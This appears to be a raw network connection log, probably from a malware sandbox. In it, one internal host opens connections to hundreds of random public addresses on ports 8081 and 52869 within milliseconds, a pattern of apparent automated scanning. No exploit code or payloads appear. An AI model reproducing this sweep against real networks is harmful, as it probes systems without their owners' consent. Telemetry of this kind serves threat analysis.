Jul 20, 2024 23:05:41.456365108 CEST	43439	8081	192.168.2.13	122.46.167.189
Jul 20, 2024 23:05:41.456365108 CEST	43439	8081	192.168.2.13	217.216.218.234
Jul 20, 2024 23:05:41.456406116 CEST	43439	8081	192.168.2.13	139.252.209.56
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	177.86.253.86
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	192.189.16.165
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	103.194.153.208
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	181.58.255.23
Jul 20, 2024 23:05:41.456501007 CEST	43439	8081	192.168.2.13	69.22.88.231
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	185.124.182.75
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	137.235.33.38
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	219.213.237.59
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	108.225.42.112
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	202.126.95.182
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	121.252.7.225
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	68.238.145.132
Jul 20, 2024 23:05:41.456753016 CEST	43439	8081	192.168.2.13	201.190.152.14
Jul 20, 2024 23:05:41.456984043 CEST	43439	8081	192.168.2.13	57.77.208.172
Jul 20, 2024 23:05:41.456984043 CEST	43439	8081	192.168.2.13	114.5.162.119
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	152.61.98.197
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	178.234.160.149
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	178.40.154.210
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	191.6.89.57
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	124.59.19.121
Jul 20, 2024 23:05:41.456984997 CEST	43439	8081	192.168.2.13	85.43.144.215
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	122.203.235.47
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	99.139.175.129
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	37.231.130.247
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	39.150.124.187
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	101.217.104.145
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	198.173.153.52
Jul 20, 2024 23:05:41.457168102 CEST	43439	8081	192.168.2.13	70.83.80.195
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	141.254.162.226
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	216.120.175.81
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	154.220.1.16
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	211.37.100.5
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	131.157.50.161
Jul 20, 2024 23:05:41.457690001 CEST	43439	8081	192.168.2.13	156.35.182.86
Jul 20, 2024 23:05:41.457792997 CEST	43439	8081	192.168.2.13	129.161.226.163
Jul 20, 2024 23:05:41.457792997 CEST	43439	8081	192.168.2.13	50.70.210.210
Jul 20, 2024 23:05:41.457792997 CEST	43439	8081	192.168.2.13	176.189.176.57
Jul 20, 2024 23:05:41.457792997 CEST	43439	8081	192.168.2.13	61.97.111.61
Jul 20, 2024 23:05:41.457792997 CEST	43439	8081	192.168.2.13	186.207.185.80
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	125.38.91.150
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	148.33.173.208
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	60.53.68.28
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	99.53.93.171
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	203.22.137.107
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	218.79.211.50
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	120.24.247.133
Jul 20, 2024 23:05:41.457839012 CEST	43439	8081	192.168.2.13	124.68.36.244
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	42.77.251.81
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	222.53.162.176
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	114.5.77.31
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	1.6.197.112
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	115.133.83.150
Jul 20, 2024 23:05:41.458811045 CEST	43439	8081	192.168.2.13	168.29.16.8
Jul 20, 2024 23:05:41.458811045 CEST	43695	52869	192.168.2.13	90.244.51.71
Jul 20, 2024 23:05:41.458811045 CEST	43695	52869	192.168.2.13	123.113.248.155
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	59.17.181.70
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	143.117.13.173
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	52.138.221.5
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	36.87.55.229
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	37.183.208.1
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	42.72.240.140
Jul 20, 2024 23:05:41.459167957 CEST	43695	52869	192.168.2.13	142.28.169.133
Jul 20, 2024 23:05:41.459167957 CEST	43439	8081	192.168.2.13	136.82.192.39
Jul 20, 2024 23:05:41.459487915 CEST	43439	8081	192.168.2.13	111.95.120.159
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	223.250.77.197
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	37.177.32.112
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	155.142.217.138
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	144.98.215.70
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	202.79.86.181
Jul 20, 2024 23:05:41.459489107 CEST	43439	8081	192.168.2.13	59.87.201.197
Jul 20, 2024 23:05:41.459870100 CEST	43439	8081	192.168.2.13	91.1.117.216
Jul 20, 2024 23:05:41.459870100 CEST	43439	8081	192.168.2.13	161.117.11.153
Jul 20, 2024 23:05:41.459870100 CEST	43439	8081	192.168.2.13	120.232.129.114
Jul 20, 2024 23:05:41.459870100 CEST	43695	52869	192.168.2.13	191.93.43.213
Jul 20, 2024 23:05:41.459870100 CEST	43439	8081	192.168.2.13	52.137.37.38
Jul 20, 2024 23:05:41.459870100 CEST	43695	52869	192.168.2.13	37.184.248.25
Jul 20, 2024 23:05:41.459870100 CEST	43695	52869	192.168.2.13	42.199.22.184
Jul 20, 2024 23:05:41.459870100 CEST	43695	52869	192.168.2.13	82.194.73.169
Jul 20, 2024 23:05:41.460077047 CEST	43695	52869	192.168.2.13	35.104.62.133
Jul 20, 2024 23:05:41.460077047 CEST	43439	8081	192.168.2.13	45.72.63.232
Jul 20, 2024 23:05:41.460077047 CEST	43695	52869	192.168.2.13	60.172.237.222
Jul 20, 2024 23:05:41.460077047 CEST	43439	8081	192.168.2.13	180.168.102.156
Jul 20, 2024 23:05:41.460077047 CEST	43439	8081	192.168.2.13	43.187.84.77
Jul 20, 2024 23:05:41.460077047 CEST	43695	52869	192.168.2.13	157.229.158.93
Jul 20, 2024 23:05:41.460077047 CEST	43695	52869	192.168.2.13	97.119.31.69
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	199.231.47.60
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	155.60.200.183
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	64.163.21.53
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	83.35.207.92
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	2.211.16.69
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	183.124.37.55
Jul 20, 2024 23:05:41.460860968 CEST	43439	8081	192.168.2.13	115.2.148.25
Jul 20, 2024 23:05:41.460932016 CEST	43695	52869	192.168.2.13	151.255.247.73
Jul 20, 2024 23:05:41.460932016 CEST	43439	8081	192.168.2.13	168.60.234.146
Jul 20, 2024 23:05:41.460932016 CEST	43439	8081	192.168.2.13	205.22.200.187
Jul 20, 2024 23:05:41.460932016 CEST	43439	8081	192.168.2.13	156.40.121.110
Jul 20, 2024 23:05:41.460932016 CEST	43695	52869	192.168.2.13	190.225.30.14
Jul 20, 2024 23:05:41.460932016 CEST	43695	52869	192.168.2.13	221.108.209.131
Jul 20, 2024 23:05:41.460932016 CEST	43439	8081	192.168.2.13	118.57.144.139
Jul 20, 2024 23:05:41.460932016 CEST	43439	8081	192.168.2.13	126.213.109.218
Jul 20, 2024 23:05:41.461036921 CEST	43695	52869	192.168.2.13	118.31.82.42
Jul 20, 2024 23:05:41.461036921 CEST	43439	8081	192.168.2.13	110.16.107.79
Jul 20, 2024 23:05:41.461036921 CEST	43439	8081	192.168.2.13	92.154.101.109
Jul 20, 2024 23:05:41.461036921 CEST	43439	8081	192.168.2.13	141.29.146.57
Jul 20, 2024 23:05:41.461036921 CEST	43695	52869	192.168.2.13	182.216.208.70
Jul 20, 2024 23:05:41.461036921 CEST	43439	8081	192.168.2.13	4.100.220.243
Jul 20, 2024 23:05:41.461036921 CEST	43695	52869	192.168.2.13	103.134.146.2
Jul 20, 2024 23:05:41.461038113 CEST	43439	8081	192.168.2.13	80.35.131.56
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	95.198.159.19
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	195.41.191.105
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	157.238.192.85
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	53.60.47.148
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	178.177.156.149
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	109.208.7.182
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	197.91.32.62
Jul 20, 2024 23:05:41.461164951 CEST	43439	8081	192.168.2.13	124.64.97.110
Jul 20, 2024 23:05:41.461802006 CEST	43695	52869	192.168.2.13	69.16.57.56
Jul 20, 2024 23:05:41.461802006 CEST	43439	8081	192.168.2.13	107.175.10.241
Jul 20, 2024 23:05:41.461802006 CEST	43439	8081	192.168.2.13	149.164.34.41
Jul 20, 2024 23:05:41.461802006 CEST	43695	52869	192.168.2.13	97.58.124.0
Jul 20, 2024 23:05:41.461802006 CEST	43695	52869	192.168.2.13	100.33.47.252
Jul 20, 2024 23:05:41.461802006 CEST	43695	52869	192.168.2.13	219.185.143.162
Jul 20, 2024 23:05:41.461802006 CEST	43695	52869	192.168.2.13	163.137.21.21
Jul 20, 2024 23:05:41.462743998 CEST	43439	8081	192.168.2.13	113.166.119.67
Jul 20, 2024 23:05:41.462744951 CEST	43439	8081	192.168.2.13	198.109.49.20
Jul 20, 2024 23:05:41.462744951 CEST	43439	8081	192.168.2.13	54.23.136.73
Jul 20, 2024 23:05:41.462744951 CEST	43439	8081	192.168.2.13	40.17.14.25
Jul 20, 2024 23:05:41.462744951 CEST	43439	8081	192.168.2.13	168.108.1.170
Jul 20, 2024 23:05:41.462744951 CEST	43695	52869	192.168.2.13	204.235.52.91
Jul 20, 2024 23:05:41.462744951 CEST	43695	52869	192.168.2.13	51.149.137.11
Jul 20, 2024 23:05:41.462744951 CEST	43439	8081	192.168.2.13	87.61.165.209
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	207.65.89.76
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	50.135.198.195
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	60.27.15.186
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	187.244.164.153
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	9.80.224.130
Jul 20, 2024 23:05:41.463198900 CEST	43439	8081	192.168.2.13	216.45.186.119
Jul 20, 2024 23:05:41.463198900 CEST	43695	52869	192.168.2.13	115.77.146.7
Jul 20, 2024 23:05:41.463198900 CEST	43695	52869	192.168.2.13	144.25.185.135
Jul 20, 2024 23:05:41.463325024 CEST	43439	8081	192.168.2.13	20.57.22.34
Jul 20, 2024 23:05:41.463325024 CEST	43439	8081	192.168.2.13	195.163.241.55
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	45.242.201.152
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	109.118.236.217
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	76.47.7.99
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	69.103.212.226
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	173.79.90.185
Jul 20, 2024 23:05:41.463325024 CEST	43695	52869	192.168.2.13	106.89.6.76
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	219.217.21.209
Jul 20, 2024 23:05:41.463783979 CEST	43439	8081	192.168.2.13	23.250.134.134
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	96.168.242.10
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	213.191.40.132
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	205.184.32.162
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	113.25.176.151
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	151.18.50.154
Jul 20, 2024 23:05:41.463783979 CEST	43695	52869	192.168.2.13	25.45.255.94
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	103.189.90.59
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	160.3.93.203
Jul 20, 2024 23:05:41.464135885 CEST	43439	8081	192.168.2.13	189.19.147.148
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	218.217.201.5
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	207.68.145.36
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	116.185.85.147
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	120.82.186.82
Jul 20, 2024 23:05:41.464135885 CEST	43695	52869	192.168.2.13	133.112.9.231
Jul 20, 2024 23:05:41.465593100 CEST	43695	52869	192.168.2.13	5.165.130.202
Jul 20, 2024 23:05:41.465593100 CEST	43695	52869	192.168.2.13	103.55.147.65
Jul 20, 2024 23:05:41.465593100 CEST	43439	8081	192.168.2.13	146.75.115.117
Jul 20, 2024 23:05:41.465593100 CEST	43695	52869	192.168.2.13	167.161.118.96
Jul 20, 2024 23:05:41.465593100 CEST	43439	8081	192.168.2.13	204.143.131.82
Jul 20, 2024 23:05:41.465593100 CEST	43439	8081	192.168.2.13	77.196.228.15
Jul 20, 2024 23:05:41.465593100 CEST	43439	8081	192.168.2.13	180.3.114.229
Jul 20, 2024 23:05:41.465593100 CEST	43695	52869	192.168.2.13	94.171.12.188
Jul 20, 2024 23:05:41.466397047 CEST	43439	8081	192.168.2.13	161.122.130.29
Jul 20, 2024 23:05:41.466397047 CEST	43439	8081	192.168.2.13	34.193.29.237
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	44.34.223.198
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	88.222.234.137
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	113.231.23.188
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	17.49.239.125
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	143.23.218.174
Jul 20, 2024 23:05:41.466397047 CEST	43695	52869	192.168.2.13	119.122.30.243
Jul 20, 2024 23:05:41.466453075 CEST	43695	52869	192.168.2.13	160.106.55.221
Jul 20, 2024 23:05:41.466453075 CEST	43439	8081	192.168.2.13	49.245.15.5
Jul 20, 2024 23:05:41.466453075 CEST	43439	8081	192.168.2.13	122.94.200.46
Jul 20, 2024 23:05:41.466453075 CEST	43695	52869	192.168.2.13	162.117.173.204
Jul 20, 2024 23:05:41.466453075 CEST	43695	52869	192.168.2.13	86.30.180.165
Jul 20, 2024 23:05:41.466453075 CEST	43695	52869	192.168.2.13	50.233.235.83
Jul 20, 2024 23:05:41.466453075 CEST	43439	8081	192.168.2.13	168.195.7.206
Jul 20, 2024 23:05:41.466453075 CEST	43695	52869	192.168.2.13	82.195.250.33
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	24.212.1.78
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	39.92.190.14
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	76.95.10.101
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	35.151.71.195
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	61.214.205.196
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	4.39.133.216
Jul 20, 2024 23:05:41.466595888 CEST	43695	52869	192.168.2.13	205.246.124.159
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	123.82.131.246
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	58.45.66.216
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	219.10.237.79
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	154.237.61.130
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	145.19.26.68
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	51.66.153.104
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	174.160.204.212
Jul 20, 2024 23:05:41.467145920 CEST	43695	52869	192.168.2.13	32.129.43.121
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	8.100.203.97
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	19.225.121.130
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	63.170.166.112
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	162.102.176.197
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	176.35.158.53
Jul 20, 2024 23:05:41.467588902 CEST	43695	52869	192.168.2.13	168.220.14.134
Jul 20, 2024 23:05:41.467590094 CEST	43695	52869	192.168.2.13	220.168.165.99
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	169.227.213.55
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	167.223.2.219
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	31.43.8.121
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	165.139.105.73
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	154.47.229.249
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	198.140.238.160
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	180.162.106.122
Jul 20, 2024 23:05:41.467756033 CEST	43695	52869	192.168.2.13	216.131.66.29
Jul 20, 2024 23:05:41.469629049 CEST	43695	52869	192.168.2.13	74.63.163.147
Jul 20, 2024 23:05:41.469629049 CEST	43695	52869	192.168.2.13	136.87.94.47
Jul 20, 2024 23:05:41.469629049 CEST	43695	52869	192.168.2.13	24.118.188.144
Jul 20, 2024 23:05:41.469630003 CEST	43695	52869	192.168.2.13	192.227.27.74
Jul 20, 2024 23:05:41.469630003 CEST	43695	52869	192.168.2.13	61.44.50.91
Jul 20, 2024 23:05:41.469630003 CEST	43695	52869	192.168.2.13	94.188.12.159
Jul 20, 2024 23:05:41.469630003 CEST	43695	52869	192.168.2.13	202.215.99.213
Jul 20, 2024 23:05:41.469630003 CEST	43695	52869	192.168.2.13	144.205.214.19
Jul 20, 2024 23:05:41.469940901 CEST	43439	8081	192.168.2.13	71.4.247.218
Jul 20, 2024 23:05:41.469940901 CEST	43439	8081	192.168.2.13	152.67.193.141
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	221.61.220.14
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	13.185.8.161
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	83.171.30.192
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	204.62.163.193
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	199.236.105.93
Jul 20, 2024 23:05:41.469940901 CEST	43695	52869	192.168.2.13	159.79.7.247
Jul 20, 2024 23:05:41.470119953 CEST	43695	52869	192.168.2.13	175.247.155.26
Jul 20, 2024 23:05:41.470119953 CEST	43695	52869	192.168.2.13	165.206.169.184
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	65.39.21.181
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	165.203.180.185
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	102.252.137.223
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	24.192.175.210
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	171.175.134.49
Jul 20, 2024 23:05:41.470120907 CEST	43695	52869	192.168.2.13	76.196.97.229
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	194.165.72.34
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	125.192.192.222
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	23.115.171.163
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	196.139.173.20
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	117.190.33.156
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	47.184.121.92
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	12.135.66.251
Jul 20, 2024 23:05:41.470911980 CEST	43695	52869	192.168.2.13	143.114.132.177
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	166.204.75.195
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	17.224.8.103
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	202.97.243.71
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	188.55.57.46
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	135.239.80.215
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	90.255.224.190
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	194.246.84.56
Jul 20, 2024 23:05:41.471378088 CEST	43695	52869	192.168.2.13	204.14.76.54
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	62.57.160.79
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	91.152.181.98
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	32.171.38.214
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	222.199.215.188
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	125.207.211.223
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	97.111.37.128
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	206.175.134.230
Jul 20, 2024 23:05:41.472786903 CEST	43695	52869	192.168.2.13	139.53.167.255
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	170.71.94.127
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	63.88.215.203
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	50.84.207.10
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	161.35.212.166
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	179.121.210.44
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	65.249.143.217
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	144.218.164.178
Jul 20, 2024 23:05:41.473263979 CEST	43695	52869	192.168.2.13	94.204.138.222
Jul 20, 2024 23:05:41.473684072 CEST	43695	52869	192.168.2.13	115.85.47.89
Jul 20, 2024 23:05:41.473684072 CEST	43695	52869	192.168.2.13	207.115.90.92
Jul 20, 2024 23:05:41.473684072 CEST	43695	52869	192.168.2.13	71.148.108.185
Jul 20, 2024 23:05:41.473684072 CEST	43695	52869	192.168.2.13	175.203.69.198
Jul 20, 2024 23:05:41.473684072 CEST	43695	52869	192.168.2.13	192.104.55.219
Jul 20, 2024 23:05:41.473685026 CEST	43695	52869	192.168.2.13	117.13.89.121
Jul 20, 2024 23:05:41.473685026 CEST	43695	52869	192.168.2.13	120.149.157.61
Jul 20, 2024 23:05:41.473685026 CEST	43695	52869	192.168.2.13	48.124.38.31
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	69.161.91.68
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	85.68.160.7
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	130.189.227.62
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	194.90.73.104
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	122.198.22.112
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	43.55.103.102
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	74.218.240.226
Jul 20, 2024 23:05:41.473768950 CEST	43695	52869	192.168.2.13	157.46.197.45
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	52.158.156.132
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	107.16.190.251
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	186.234.252.17
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	65.69.203.133
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	195.58.136.44
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	13.242.152.247
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	87.94.139.210
Jul 20, 2024 23:05:41.475222111 CEST	43695	52869	192.168.2.13	200.70.178.84
Jul 20, 2024 23:05:41.475287914 CEST	43695	52869	192.168.2.13	23.209.78.133
Jul 20, 2024 23:05:41.475287914 CEST	43695	52869	192.168.2.13	59.21.4.220
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	1.43.250.166
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	119.26.123.63
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	34.109.230.99
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	31.37.204.42
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	132.143.62.22
Jul 20, 2024 23:05:41.475289106 CEST	43695	52869	192.168.2.13	168.146.95.202
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	212.0.155.37
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	97.190.36.196
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	134.246.13.116
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	65.82.144.185
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	204.92.97.21
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	203.131.200.43
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	174.55.204.31
Jul 20, 2024 23:05:41.476066113 CEST	43695	52869	192.168.2.13	219.237.99.244
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	118.76.145.144
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	130.159.59.66
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	85.125.167.155
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	53.181.165.26
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	194.118.121.40
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	144.86.40.44
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	205.174.114.18
Jul 20, 2024 23:05:41.476227999 CEST	43695	52869	192.168.2.13	41.110.172.6
Jul 20, 2024 23:05:41.477345943 CEST	43695	52869	192.168.2.13	106.156.101.166
